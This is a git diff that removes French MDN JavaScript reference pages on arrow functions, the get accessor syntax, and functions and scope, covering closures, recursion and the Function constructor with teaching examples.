-// "tototruc"
-
-var simple = a => a > 15 ? 15 : a;
-simple(16); // 15
-simple(10); // 10
-
-var complexe = (a, b) => {
-    if (a > b) {
-        return a;
-    } else {
-        return b;
-    }
-}
-
-var arr = [5, 6, 13, 0, 1, 18, 23];
-
-var sum = arr.reduce((a, b) => a + b);
-// 66
-
-var even = arr.filter(v => v % 2 == 0);
-// [6, 0, 18]
-
-var double = arr.map(v => v * 2);
-// [10, 12, 26, 0, 2, 36, 46]
-
-// On peut aussi construire des chaînes
-// de promesses plus concises
-promise.then(a => {
-    // ...
-}).then(b => {
-    // ...
-});
-
-// Cela permet de visualiser les
-// fonctions sans paramètres
-setTimeout( () => {
-    console.log("Et voilà");
-    setTimeout( () => {
-        console.log("ensuite…");
-    }, 1);
-}, 1);
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-arrow-function-definitions', 'Arrow Function Definitions')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-arrow-function-definitions', 'Arrow Function Definitions')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.functions.arrow_functions")}}

- -

Voir aussi

- -
    -
  • L’article sur les fonctions fléchées présent sur https ://tech.mozfr.org (l’article original en anglais est disponible ici).
    • -
diff --git a/files/fr/web/javascript/reference/fonctions/get/index.html b/files/fr/web/javascript/reference/fonctions/get/index.html deleted file mode 100644 index baf138defa..0000000000 --- a/files/fr/web/javascript/reference/fonctions/get/index.html +++ /dev/null @@ -1,180 +0,0 @@ ---- -title: L'opérateur get -slug: Web/JavaScript/Reference/Fonctions/get -tags: - - ECMAScript 2015 - - ECMAScript 5 - - Functions - - JavaScript - - Reference -translation_of: Web/JavaScript/Reference/Functions/get ---- -
{{jsSidebar("Functions")}}
- -

La syntaxe get permet de lier une propriété d'un objet à une fonction qui sera appelée lorsqu'on accédera à la propriété.

- -
{{EmbedInteractiveExample("pages/js/functions-getter.html")}}
- - - -

Syntaxe

- -
{get prop() { ... } }
-{get [expression]() { ... } }
- -

Paramètres

- -
-
prop
-
Le nom de la propriété à lier à la fonction.
-
expression
-
Avec ECMAScript 2015, il est également possible d'utiliser des expressions renvoyant un nom de propriété calculé pour le lier à une fonction.
-
- -

Description

- -

Il est parfois utile de créer une propriété qui renvoie une valeur dynamique calculée, ou de ne pas avoir recours à l'appel explicite d'une méthode pour renvoyer le statut d'une variable interne. En JavaScript, il est possible de faire cela en utilisant un accesseur. Il n'est pas possible d'avoir simultanément un accesseur assimilé à une propriété et d'avoir cette propriété initialisée à une valeur, mais il est possible d'utiliser un accesseur et un {{jsxref("Fonctions/set","mutateur","",1)}} pour créer une sorte de pseudo-propriété.

- -

On notera que l'opérateur get :

- - - -

Un accesseur peut être supprimé grâce à l'opérateur {{jsxref("Opérateurs/L_opérateur_delete","delete")}}.

- -

Exemples

- -

Définir un accesseur avec l'opérateur get

- -

Ce code va créer une pseudo-propriété dernier de l'objet o qui va retourner la dernière entrée du tableau o.journal :

- -
var o = {
-  get dernier() {
-    if (this.journal.length > 0) {
-      return this.journal[this.journal.length - 1];
-    }
-    else {
-      return null;
-    }
-  },
-  journal: ["toto","actu"]
-}
-console.log(o.dernier); // "actu"
-
- -

Notez qu'essayer d'assigner à dernier une valeur ne le modifiera pas.

- -

Supprimer un accesseur avec l'opérateur delete

- -
delete o.dernier;
-
- -

Définir un accesseur sur des objets existants grâce à defineProperty

- -

Afin d'ajouter un accesseur à un objet qui existe déjà, on peut utiliser la méthode {{jsxref("Object.defineProperty()")}}.

- -
var o = { a:0 }
-
-Object.defineProperty(o, "b", { get: function () { return this.a + 1; } });
-
-console.log(o.b) // Utilise l'accesseur qui génère a + 1 (qui correspond à 1)
- -

Utiliser un nom de propriété calculé

- -
var expr = "toto";
-
-var obj = {
-  get [expr]() { return "truc"; }
-};
-
-console.log(obj.toto); // "truc"
- -

Accesseurs mémoïsés

- -

Les accesseurs permettent de définir des propriétés sur un objet mais ils ne calculent pas la valeur de la propriété tant qu'il n'y a pas d'accès envers celle-ci. Un accesseur délègue le coût de calcul jusqu'au moment où la valeur est vraiment nécessaire (si cette dernière n'est jamais utilisée, cela ne coûte alors rien).

- -

Une technique supplémentaire pour optimiser ou retarder le calcul d'une valeur d'une propriété et de la mettre en cache pour les accès ultérieurs consiste à utiliser des accesseurs intelligents « mémoïsés ». La valeur est calculée lors du premier appel de l'accesseur puis est mise en cache afin que les appels ultérieurs renvoient la valeur en cache sans la recalculer. Cette méthode peut s'avérer utile dans plusieurs situations :

- -
    -
  • Si le calcul de la valeur est coûteux (il consomme beaucoup de RAM ou de temps CPU, il crée de nouveaux threads, il utilise des fichiers distants, etc.).
    • -
  • Si la valeur est utilisée plus tard ou, dans certains cas, n'est pas utilisée du tout.
    • -
  • Si elle est utilisée plusieurs fois, il n'est pas nécessaire de la recalculer car sa valeur ne changera pas.
    • -
- -

Cela signifie qu'un tel accesseur ne doit pas être utilisé si la valeur peut être modifiée au cours du temps. En effet, avec la définition qu'on vient de lui donner, un tel accesseur ne recalculera pas la valeur.

- -

Dans l'exemple suivant, l'objet possède un accesseur en propriété propre. Lors de l'accès à la propriété, la propriété est retirée de l'objet puis réajoutée mais sous forme d'une propriété de donnée (et non d'un accesseur). Enfin, la valeur est renvoyée :

- -
get notifier() {
-  delete this.notifier;
-  return this.notifier = document.getElementById("bookmarked-notification-anchor");
-},
- -

Cet exemple est utilisé dans le code de Firefox, notamment dans le code du module XPCOMUtils.jsm qui définit la fonction defineLazyGetter().

- -

get ou defineProperty ?

- -

Bien que le mot-clé get et la méthode {{jsxref("Object.defineProperty()")}} aient des résultats similaires, il subsiste une différence lorsqu'on utilise les classes.

- -

Lorsqu'on utilise get, la propriété sera définie sur le prototype de l'objet. Avec {{jsxref("Object.defineProperty()")}}, la propriété sera définie sur l'instance à laquelle la méthode s'applique.

- -
class Exemple {
-  get coucou() {
-    return 'monde';
-  }
-}
-
-const obj = new Exemple();
-console.log(obj.coucou);
-// "monde"
-console.log(Object.getOwnPropertyDescriptor(obj, 'coucou'));
-// undefined
-console.log(Object.getOwnPropertyDescriptor(Object.getPrototypeOf(obj), 'coucou'));
-// { configurable: true, enumerable: false, get: function get coucou() { return 'monde'; }, set: undefined }
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-11.1.5', 'Object Initializer')}}{{Spec2('ES5.1')}}Définition initiale
{{SpecName('ES2015', '#sec-method-definitions', 'Method definitions')}}{{Spec2('ES2015')}}Ajout des noms de propriétés calculés.
{{SpecName('ESDraft', '#sec-method-definitions', 'Method definitions')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.functions.get")}}

- -

Voir aussi

- -
    -
  • set
    • -
  • {{jsxref("Opérateurs/L_opérateur_delete", "delete")}}
    • -
  • {{jsxref("Object.defineProperty()")}}
    • -
  • {{jsxref("Object.defineGetter", "__defineGetter__")}}
    • -
  • {{jsxref("Object.defineSetter", "__defineSetter__")}}
    • -
  • Définir des accesseurs et mutateurs, un chapitre du Guide JavaScript
    • -
diff --git a/files/fr/web/javascript/reference/fonctions/index.html b/files/fr/web/javascript/reference/fonctions/index.html deleted file mode 100644 index db017be99e..0000000000 --- a/files/fr/web/javascript/reference/fonctions/index.html +++ /dev/null @@ -1,852 +0,0 @@ ---- -title: Fonctions et portée des fonctions -slug: Web/JavaScript/Reference/Fonctions -tags: - - Function - - JavaScript - - Reference -translation_of: Web/JavaScript/Reference/Functions ---- -
{{jsSidebar("Functions")}}
- -

De manière générale, une fonction est un « sous-programme » qui peut être appelé par du code extérieur à la fonction (ou du code interne dans le cas d'une récursion). Comme le programme, une fonction est composée d'une suite d'instructions qui forment le corps de la fonction. Il est parfois possible de passer des valeurs à une fonction et une fonction peut éventuellement retourner (ou renvoyer) une valeur.

- -

En JavaScript, les fonctions sont des objets de première classe. Cela signifie qu'elles peuvent être manipulées et échangées, qu'elles peuvent avoir des propriétés et des méthodes, comme tous les autres objets JavaScript. Les fonctions sont des objets {{jsxref("Objets_globaux/Function","Function")}}.

- -

Pour plus d'informations et d'exemples, on pourra également consulter le chapitre du Guide JavaScript sur les fonctions.

- -

Description

- -

Toute fonction JavaScript est en fait un objet Function. Voir la page {{jsxref("Objets_globaux/Function","Function")}} pour des informations sur les propriétés et les méthodes de ces objets.

- -

Afin de renvoyer une valeur, la fonction doit comporter une instruction {{jsxref("Instructions/return","return")}} qui définit la valeur à renvoyer (sauf dans le cas d'un constructeur qui a été appelé avec le mot-clé {{jsxref("Opérateurs/L_opérateur_new")}}). Une fonction qui ne renvoie pas de valeur retourne {{jsxref("undefined")}}.

- -

Les paramètres donnés lors de l'appel d'une fonction sont appelés les arguments de la fonction. Les arguments sont passés par valeur (by value en anglais). Si la fonction modifie la valeur d'un argument, ce changement ne se répercute pas en dehors de la fonction. Il existe cependant les références d'objets qui sont aussi des valeurs mais qui possèdent la particularité suivante : si la fonction modifie les propriété de l'objet de la référence, ce(s) changement(s) seront perceptibles en dehors de la fonction. Prenons l'exemple suivant :

- -
 /* Déclaration de la fonction 'maFonction' */
- function maFonction(monObjet)
- {
-   monObjet.marque = "Toyota";
- }
-
- /*
-  * Déclaration de la variable 'mavoiture';
-  * création et initialisation d'un nouvel objet;
-  * assigner une référence à 'mavoiture'
-  */
- var mavoiture = {
-   marque: "Honda",
-   modele: "Accord",
-   annee: 1998
- };
-
- /* Affiche 'Honda' */
- console.log(mavoiture.marque);
-
- /* Passer la référence de l'objet à la fonction */
- maFonction(mavoiture);
-
- /*
-  * Affiche 'Toyota' pour valeur de la propriété 'marque'
-  * de l'objet. C'est ce que la fonction a changé.
-  */
- console.log(mavoiture.marque);
-
- -

Le mot-clé this ne fait pas référence à la fonction en cours d'exécution. Il faut donc faire référence aux objets Function par leurs noms, et ce même au sein du corps de la fonction.

- -

Définir des fonctions

- -

Il y a plusieurs façons de définir des fonctions

- -

Déclarer une fonction (l'instruction function)

- -

Il existe une syntaxe spécifique pour la déclaration des fonctions (vous pouvez consulter la page de l'instruction {{jsxref("Instructions/function","function")}} pour plus de détails) :

- -
function nom([param[, param[, ... param]]]) {
-   instructions
-}
-
- -
-
nom
-
Le nom de la fonction.
-
- -
-
param
-
Le nom d'un argument à passer à la fonction (une fonction pouvant avoir jusqu'à 255 arguments).
-
- -
-
instructions
-
Les instructions qui forment le corps de la fonction.
-
- -

Utiliser une expression de fonction (l'expression function)

- -

L'expression d'une fonction se fait d'une façon similaire à la déclaration (veuillez consulter la page de l'expression {{jsxref("Opérateurs/L_opérateur_function","function")}} pour plus d'informations) :

- -
function [nom]([param] [, param] [..., param]) {
-   instructions
-}
-
- -
-
nom
-
Le nom de la fonction. Il est facultatif, auquel cas la fonction devient une fonction anonyme.
-
- -
-
param
-
Le nom d'un argument à passer à la fonction.
-
instructions
-
Les instructions qui forment le corps de la fonction.
-
- -

Voici un exemple d'expression de fonction anonyme (il n'y a pas de nom utilisé) :

- -
var maFonction = function() {
-  /* instructions */
-}
- -

Il est également possible de fournir un nom lors de la définition afin de créer une expression de fonction nommée :

- -
var maFonction = function fonctionNommée(){
-  /* instructions */
-}
-
- -

L'un des bénéfices d'utiliser une expression de fonction nommée est que son nom sera utilisé dans la pile d'appel lors qu'on aura une erreur. Avec le nom de la fonction, il sera plus facile de repérer l'origine de l'erreur.

- -

Comme on peut le voir, ces deux derniers exemples ne commencent pas avec le mot-clé function. Les instructions qui déclarent des fonctions mais qui ne commencent pas avec function sont des expressions de fonction.

- -

Lorsque les fonctions sont utilisées une unique fois, on peut utiliser une « expression de fonction immédiatement invoquée » (ou plus généralement appelée IIFE pour Immediately Invokable Function Expression en anglais).

- -
(function() {
-    /* instruction */
-})();
- -

Les IIFE sont des expressions de fonction appelées dès que la fonction est déclarée.

- -

Utiliser une déclaration de fonction génératrice (l'instruction function*)

- -

Il existe une syntaxe spéciale pour déclarer des générateurs (voir la page sur l'instruction {{jsxref('Instructions/function*', 'function*')}} pour plus de détails) :

- -
function* nom([param[, param[, ... param]]]) {
-   instructions
-}
- -
-
nom
-
Le nom de la fonction.
-
- -
-
param
-
Le nom d'un argument à passer à la fonction.
-
- -
-
instructions
-
Les instructions qui forment le corps de la fonction.
-
- -

Utiliser une expression de générateur (l'expression function*)

- -

Une expression de générateur est similaire à une déclaration de fonction génératrice et possède presque la même syntaxe (pour plus de détails, consulter la page sur l'expression {{jsxref('Opérateurs/function*', 'function*')}}) :

- -
function* [nom]([param[, param[, ... param]]]) {
-   instructions
-}
- -
-
nom
-
Le nom de la fonction. Ce paramètre peut être omis, auquel cas la fonction sera une fonction anonyme.
-
- -
-
param
-
Le nom d'un argument à passer à la fonction.
-
instructions
-
Les instructions qui composent le corps de la fonction.
-
- -

Utiliser une expression de fonction fléchée (=>)

- -

Une expression de fonction fléchée possède une syntaxe plus courte et est liée, de façon lexicale, à sa valeur (voir la page sur les fonctions fléchées pour plus de détails) :

- -
([param[, param]]) => {
-   instructions
-}
-
-param => expression
-
- -
-
param
-
Le nom d'un argument. S'il n'y a pas d'arguments, cela doit être indiqué par ().  S'il y a un seul argument, les parenthèses ne sont pas obligatoires (par exemple :  toto => 1).
-
instructions ou expression
-
S'il y a plusieurs instructions, elles doivent être encadrées par des accolades. Une expression unique ne doit pas obligatoirement être entourée d'accolades. L'expression est également la valeur de retour implicite de la fonction.
-
- -

Le constructeur Function

- -
-

Note : L'utilisation du constructeur Function afin de créer des fonction n'est pas recommandée. En effet, il utilise une chaîne pour former le corps de la fonction et cela peut empêcher certaines optimisations du moteur JavaScript ainsi que provoquer d'autres problèmes.

-
- -

Comme tous les autres objets, les objets {{jsxref("Function")}} peuvent être créés grâce à l'opérateur new :

- -
new Function (arg1, arg2, ... argN, corpsDeLaFonction)
-
- -
-
arg1, arg2, ... argN
-
Plusieurs (zéro ou plus) noms qui seront utilisés par la fonction comme noms d'arguments formels. Chaque nom doit être une chaîne de caractères valide au sens d'un identifiant JavaScript ou alors être une liste de telles chaînes séparées par des virgules. On aura les exemples suivants : "x", "laValeur", ou "a,b".
-
- -
-
corpsDeLaFonction
-
Une chaîne de caractères contenant les instructions JavaScript définissant la fonction.
-
- -

L'invocation du constructeur Function en tant que fonction (sans utiliser l'opérateur new) a le même effet que son invocation en tant que constructeur.

- -

Le constructeur GeneratorFunction

- -
-

Note : GeneratorFunction n'est pas un objet global mais pourrait être obtenu à partir de l'instance de la fonction génératrice (voir la page {{jsxref("GeneratorFunction")}} pour plus de détails).

-
- -
-

Note : Le constructeur GeneratorFunction ne doit pas être utilisé pour créer des fonctions. En effet, il utilise une chaîne pour former le corps de la fonction et cela peut empêcher certaines optimisations du moteur JavaScript ainsi que provoquer d'autres problèmes.

-
- -

Comme pour tous les autres objets, les objets {{jsxref("GeneratorFunction")}} peuvent être créés grâce à l'opérateur new :

- -
new GeneratorFunction (arg1, arg2, ... argN, corpsFonction)
- -
-
arg1, arg2, ... argN
-
Plusieurs (zéro ou plus) noms qui seront utilisés par la fonction comme noms d'arguments formels. Chaque nom doit être une chaîne de caractères valide au sens d'un identifiant JavaScript ou alors être une liste de telles chaînes séparées par des virgules. On aura les exemples suivants : "x", "theValue", ou "a,b".
-
- -
-
corpsFonction
-
Une chaîne de caractères contenant les instructions JavaScript définissant la fonction.
-
- -

Les paramètres d'une fonction

- -

Les paramètres par défaut

- -

Les paramètres par défaut permettent aux paramètres déclarés d'une fonction de pouvoir être initialisés avec des valeurs par défaut s'ils ne sont pas fournis à la fonction ou s'ils valent undefined. Pour plus de détails, voir la page de la référence sur les paramètres par défaut.

- -

Les paramètres du reste

- -

Cette syntaxe permet de représenter un nombre indéfini d'arguments sous forme d'un tableau. Pour plus de détails, voir la page sur les paramètres du reste.

- -

L'objet arguments

- -

Il est possible de faire référence aux arguments d'une fonction au sein de cette fonction en utilisant l'objet arguments. Consulter la page arguments pour plus d'informations.

- -
    -
  • arguments : Un objet semblable à un tableau qui contient les arguments passés à la fonction qui est exécutée.
    • -
  • arguments.callee {{Deprecated_inline}} : La fonction en cours d'exécution.
    • -
  • arguments.caller {{Obsolete_inline}} : La fonction qui a appelé la fonction courante.
    • -
  • arguments.length : Le nombre d'arguments passés à la fonction.
    • -
- -

Récursion

- -

Une fonction peut faire référence à elle-même et s'appeler elle-même. Il y a trois façons pour qu'une fonction fasse appel à elle-même :

- -
    -
  1. le nom de la fonction
    2. -
  2. arguments.callee
    3. -
  3. une variable interne faisant référence à la fonction
    4. -
- -

Avec l'exemple suivant :

- -
var truc = function toto() {
-   // instructions
-};
-
- -

Ce qui suit sera équivalent au sein de la fonction :

- -
    -
  1. toto()
    2. -
  2. arguments.callee()
    3. -
  3. truc()
    4. -
- -

Une fonction qui s'appelle elle-même est appelée une fonction récursive. D'une certaine manière, une récursion est semblable à une boucle. Une récursion et une boucle exécutent le même code plusieurs fois et s'appuient sur une condition (afin d'éviter une boucle infinie, ou plutôt une récursion infinie ici). Ainsi la boucle suivante :

- -
var x = 0;
-// "x < 10" est la condition de la boucle
-while (x < 10) {
-   // faire des choses
-   x++;
-}
-
- -

peut être convertie en une fonction récursive et un appel à cette fonction :

- -
function boucle(x) {
-   // "x >= 10" est la condition de sortie
-   // (et équivaut à "!(x < 10)")
-   if (x >= 10)
-      return;
-   // faire des choses
-   boucle(x + 1); // l'appel récursif
-}
-boucle(0);
-
- -

Cependant, certains algorithmes ne peuvent pas être traduits sous forme de boucles itératives. Ainsi, obtenir tous les nœuds d'un arbre (par exemple le DOM), est beaucoup plus facile à faire de manière récursive.

- -
function parcoursArbre(noeud) {
-   if (noeud == null) //
-      return;
-   // faire quelque chose avec le noeud
-   for (var i = 0; i < noeud.childNodes.length; i++) {
-      parcoursArbre(noeud.childNodes[i]);
-   }
-}
-
- -

Par rapport à la fonction boucle, chaque appel récursif enchaîne ici plusieurs appels récursifs successifs.

- -

Il est théoriquement possible de convertir tout algorithme récursif en un algorithme non-récursif. Cependant, la logique du problème est souvent beaucoup plus complexe et l'on doit faire recours à une pile pour le résoudre. Mais la récursion n'est en fait rien d'autre que l'utilisation d'une pile : la pile de la fonction.

- -

La comportement de la récursion en tant que pile peut être observée avec cet exemple :

- -
function truc(i) {
-   if (i < 0)
-      return;
-   console.log('début :' + i);
-   toto(i - 1);
-   console.log('fin :' + i);
-}
-truc(3);
-
- -

Elle produira le résultat suivant :

- -
début :3
-début :2
-début :1
-début :0
-fin :0
-fin :1
-fin :2
-fin :3
-
- -

Fonctions imbriquées et fermetures

- -

Il est possible d'imbriquer une fonction au sein d'une fonction. La fonction imbriquée (interne) est privée par rapport à la fonction (externe) qui la contient. Cela forme ce qu'on appelle une fermeture (closure en anglais).

- -
-
Une fermeture est une expression (généralement une fonction) possédant des variables libres ainsi qu'un environnement qui lie ces variable (autrement dit qui « ferme » l'expression).
-
- -

Étant donné qu'une fonction imbriquée est une fermeture, cela signifie que la fonction imbriquée peut « hériter » des arguments et des variables de la fonction qui la contient. En d'autres termes, la fonction interne contient la portée de la fonction externe.

- -

Pour résumer :

- -
    -
  • on ne peut accéder à la fonction interne seulement avec des instructions contenues dans la fonction externe,
    • -
- -
    -
  • la fonction interne est une fermeture : la fonction interne peut utiliser des arguments et des variables de la fonction externe alors que la fonction externe ne peut pas utiliser de variables et d'arguments de la fonction interne.
    • -
- -

L'exemple suivant, montre le cas de fonctions imbriquées :

- -
function ajouteCarres(a,b) {
-   function carre(x) {
-      return x * x;
-   }
-   return carre(a) + carre(b);
-}
-var a = ajouteCarres(2,3); // renvoie 13
-var b = ajouteCarres(3,4); // renvoie 25
-var c = ajouteCarres(4,5); // renvoie 41
-
- -

Étant donné que la fonction interne est une fermeture, il est possible d'appeler la fonction externe et de définir des arguments pour la fonction externe mais aussi pour la fonction interne :

- -
function externe(x) {
-   function interne(y) {
-      return x + y;
-   }
-   return interne;
-}
-var fn_interne = externe(3);
-var resultat = fn_interne(5); // renvoie 8
-
-var resultat1 = externe(3)(5); // renvoie 8
-
- -

Conservation des variables

- -

On voit alors que x est conservé lorsqu'interne est renvoyé. Une fermeture doit conserver les arguments et les variables au sein de toutes les portées auxquelles elle fait référence. Étant donné qu'éventuellement, chaque appel fournira des arguments différents, une nouvelle fermeture est créée pour chaque appel externe. La mémoire peut donc être libérée seulement lorsque inside n'est plus accessible.

- -

Cela n'est pas différent du stockage de références avec d'autres objets, mais ça reste plus délicat à observer puisqu'on ne peut inspecter ou définir soi-même les références en question.

- -

Imbrication multiple de fonctions

- -

On peut imbriquer plusieurs fonctions : une fonction (A) contien une fonction (B) qui contient une fonction (C). Ici les fonctions B et C forment des fermetures et aisni B peut accéder à A et C peut accéder à B. On peut donc en déduire, puisque C accède à B qui accède à A que C peut accéder à A. On voit donc que les fermetures peuvent contenir différentes portées. Elles peuvent, récursivement, contenir la portée des fonctions qui la contiennent. Ce mécanisme est appelé « chaînage de portée »  (scope chaining en anglais). (Cette dénomination sera expliquée par la suite.)

- -

On peut l'observer avec l'exemple suivant :

- -
function A(x) {
-   function B(y) {
-      function C(z) {
-         console.log(x + y + z);
-      }
-      C(3);
-   }
-   B(2);
-}
-A(1); // crée un message d'alerte avec 6 (= 1 + 2 + 3)
-
- -

Dans cet exemple, C accède à la variable y de B et à la variable x de A. Cela est possible parce que :

- -
    -
  1. B est une fermeture qui contient A, autrement dit B peut accéder aux arguments et aux variables de A
    2. -
  2. C est une fermeture qui contient B
    3. -
  3. Étant donné que la fermeture de B contient A et que celle de C contient B, C peut accéder à la fois aux arguments et variables de B et A. Autrement dit, C enchaîne les portées de  B et A dans cet ordre.
    4. -
- -

La réciproque n'est pas vraie. A ne peut avoir accès à C, parce que A ne peut accéder ni aux variables ni aux arguments de B, or C est une variable de B. C est donc privé et seulement pour B.

- -

Conflits de noms

- -

Lorsque deux arguments ou variables appartenant aux portées d'une fermeture ont le même nom, il y a un conflit de noms. La portée la plus interne l'emportera par rapport à la portée la plus externe. C'est ce qu'on appelle la chaîne de portée (scope chain en anglais). Le premier maillon de cette chaîne est la portée la plus interne tandis que le dernier maillon est représenté par la portée la plus externe. Regardons l'exemple suivant :

- -
function externe() {
-   var x = 10;
-   function interne(x) {
-      return x;
-   }
-   return interne;
-}
-resultat = externe()(20); // renvoie 20 et non pas 10
-
- -

Le conflit de nom apparaît avec l'instruction return x et vient de la dénomination commune de l'argument x de la fonction interne et la variable x de la fonction externe. La chaîne de portée est, pour cet exemple : {interne, externe, objet globalt}. On voit alors que le  x de la fonction interne l'emporte sur le x de la fonction externe. 20 (x de la fonction interne) est donc renvoyé plutôt que 10 (x de la fonction externe).

- -

Définition des méthodes

- -

Les accesseurs et mutateurs (getter et setter)

- -

Il est possible de définir des méthodes qui sont accesseurs ou des mutateurs sur n'importe quel objet qui peut avoir de nouvelles propriétés. La syntaxe utilisée pour définir les getters et setters est celle utilisée avec les littéraux objets.

- -
-
get
-
-

Permet de lier une propriété d'un objet à une fonction qui sera appelée lorsqu'on accèdera à la propriété.

-
-
set
-
Permet de lier une propriété d'un objet à une fonction qui sera appelée lorsqu'on tentera de modifier cette propriété.
-
- -

Syntaxe des définitions de méthode ECMAScript 2015

- -

Avec ECMAScript 2015, il est possible de définir des méthodes de façon plus concise (à la façon de ce qui est déjà possible pour les getters et setters). Voir la page sur les définitions de méthodes pour plus d'informations.

- -
var obj = {
-  toto() {},
-  truc() {}
-};
- -

Constructeur, déclaration, expression ?

- -

Comparons les exemples suivants :

- -
    -
  1. une fonction définie grâce au constructeur Function assignée à la variable multiplier - - 
    var multiplier = new Function("x", "y", "return x * y;");
-
    -
    2. -
  2. une déclaration de fonction d'une fonction appelée multiplier - 
    function multiplier(x, y) {
-   return x * y;
-}
-
    -
    3. -
  3. une expression de fonction d'une fonction anonyme assignée à la variable multiplier - 
    var multiplier = function(x, y) {
-   return x * y;
-};
-
    -
    4. -
  4. une expression de fonction d'une fonction nommée fonction_nom assignée à la variable multiplier - 
    var multiplier = function function_nom(x, y) {
-   return x * y;
-};
-
    -
    5. -
- -

Tous ces exemples effectuent à peu près la même chose, mais différent sur quelques points :

- -
    -
  • Il y a une distinction entre le nom de la fonction et la variable à laquelle elle est affectée : -
      -
    • le nom de la fonction ne peut être changé alors que la variable à laquelle la fonction a été assignée peut être réassignée.
      • -
    • le nom de la fonction ne peut-être utilisé qu'à l'intérieur du corps de la fonction. Toute tentative d'utilisation en dehors du corps de la fonction entraînera une erreur (ou undefined si le nom de la fonction a été déclaré auparavant avec une instruction var). Ainsi : - 
      var y = function x() {};
-console.log(x); // renvoie une erreur
-
      - -

      Le nom de la fonction apparaît également lorsque la fonction est sérialisée avec la méthode toString de l'objet Function.

      - -

      La variable à laquelle est assignée la fonction est seulement limitée par rapport à la portée. La portée au sein de laquelle la fonction est déclarée est donc garantie d'être dans la portée de la variable.

      -
      • -
    • Comme le montre le quatrième exemple, le nom de la fonction peut être différent du nom de la variable à laquelle a été assignée la fonction. Les deux noms n'ont aucune relation entre eux.
      • -
    -
    • -
  • Une déclaration de fonction peut aussi créer une variable avec le même nom que la fonction. Ainsi, contrairement une expression de fonction, une déclaration de fonction permet d'accéder à la fonction grâce à son nom au sein de la portée dans laquelle elle a été définie : - 
    function x() {}
-console.log(x); // affichera la fonction x sérialisée en une chaîne de caractères
-
    - -

    L'exemple qui suit montre que les noms de fonctions ne sont par liées aux variables auxquelles sont assignées les fonctions. Si une variable de fonction est assignée à une autre valeur, elle aura toujours le même nom de fonction :

    - - 
    function toto() {}
-console.log(toto); // message affichant la chaine de caractères "toto"
-var truc = toto;
-console.log(truc); // message affichant la chaine de caractères "toto"
-
    -
    • -
  • Une fonction définie grâce à « new Function » n'aura pas de nom de fonction. Cependant, le moteur JavaScript SpiderMonkey, la forme sérialisée de la fonction apparaît comme si la fonction avait le nom « anonymous ». Le code console.log(new Function()) produira : - 
    function anonymous() {
-}
-
    - -

    La fonction n'ayant pas de nom effectif, anonymous n'est pas une variable à laquelle on pourra accéder au sein de la fonction. Par exemple, le code qui suit produira une erreur :

    - - 
    var toto = new Function("console.log(anonymous);");
-toto();
-
    -
    • -
  • À la différence des fonctions définies par les expressions de fonction ou par le constructeur Function, une fonction définie par une déclaration de fonction pourra être utilisée avant la déclaration. Ainsi : - 
    toto(); // affichera TOTO !
-function toto() {
-   console.log('TOTO !');
-}
-
    -
    • -
  • Une fonction définie par une expression de fonction hérite de la portée courante. La fonction forme donc une fermeture. En revanche, les fonctions définies par le constructeur Function n'héritent que de la portée globale (portée héritée par toutes les fonctions).
    • -
  • Les fonctions définies par les expressions et les déclarations de fonctions ne sont analysées (parsées) qu'une seule fois. Celles définies grâce au constructeur Function ne le sont pas. Cela signifie que la chaîne de caractère représentant le corps de la fonction doit être analysée à chaque fois qu'elle est évaluée. Bien qu'une expression de fonction crée obligatoirement une fermeture, le corps de la fonction n'est pas parsé à nouveau. Les expressions de fonctions sont donc plus rapides que « new Function(...) ». Il faut donc éviter le constructeur Function autant que possible.
    - Il faut cependant noter que les expressions et les déclarations imbriquées au sein d'une chaîne de caractère pour un constructeur Function ne sont analysées qu'une seule fois. On aura l'exemple suivant : - 
    var toto = (new Function("var truc = \'TOTO !\';\nreturn(function() {\n\tconsole.log(truc);\n});"))();
-toto(); //La partie « function() {\n\tconsole.log(truc);\n} » de la chaîne de caractères n'est pas analysée à nouveau.
    -
    • -
- -

Une déclaration de fonction peut très facilement (et souvent involontairement) être transformée en une expression de fonction. Une déclaration de fonction cesse d'en être une lorsque :

- -
    -
  • elle fait partie d'une expression
    • -
  • ou elle n'est plus un « élément source » de la fonction ou du script. Un « élément source » est une instruction non-imbriquée du script ou d'un corps de fonction. - 
    var x = 0;                 // élément source
-if (x === 0) {              // élément source
-   x = 10;                 // pas un élément source
-   function titi() {}      // pas un élément source
-}
-function toto() {          // élément source
-   var y = 20;             // élément source
-   function truc() {}      // élément source
-   while (y === 10) {       // élément source
-      function machin() {} // pas un élément source
-      y++;                 // pas un élément source
-   }
-}
-
    -
    • -
- -

Exemples :

- -
    -
  • - 
    // déclaration de fonction
-function toto() {}
-
-// expression de fonction
-(function truc() {})
-
-// expression de fonction
-var x = function bonjour() {}
    -
    • -
  • - 
    if (x) {
-   // expression de fonction
-   function monde() {}
-}
-
    -
    • -
  • - 
    // déclaration de fonction
-function a() {
-   // déclaration de fonction
-   function b() {}
-   if (0) {
-      // expression de fonction
-      function c() {}
-   }
-}
-
    -
    • -
- -

Définir une fonction de façon conditionnelle

- -

Il est possible de définir des fonctions de manière conditionnelle en utilisant soit : //function statements// (une extension autorisée par le standard ECMA-262 Edition 3) soit le constructeur Function. Il faut noter que de telles instructions ne sont plus autorisées dans le standard ES5 strict. Il faut également savoir que cela ne fonctionne pas de manière homogène sur les différents navigateurs. Il est donc déconseillé d'utiliser cette fonctionnalité.

- -

Dans le script qui suit, la fonction zero n'est jamais définie et ne peut donc être appelée car le test « if (0) » est toujours faux :

- -
if (0) {
-   function zero() {
-      console.log("C'est zero.");
-   }
-}
-
- -

Si le script est changé et que la condition devient « if (1) », la fonction zero sera alors définie.

- -

Bien que cette fonction ressemble à une déclaration de fonction, il s'agit en fait d'une expression (ou instruction) de fonction, car celle-ci est imbriquée au sein d'une autre instruction. (Consulter le paragraphe précédent pour une explication à ce sujet).

- -
-

Note : À la différence de SpiderMonkey, certains moteurs JavaScript traîtent incorrectement les expressions de fonction avec un nom comme des définitions de fonction. Cela conduirait à la définition de la fonction zero et ce même avec la condition if valant faux. Une façon plus sûre de définir des fonctions de manière conditionnelle est de définir la fonction et de l'assigner à une variable :

- -
if (0) {
-   var zero = function() {
-      console.log("C'est zero");
-   }
-}
-
-
- -

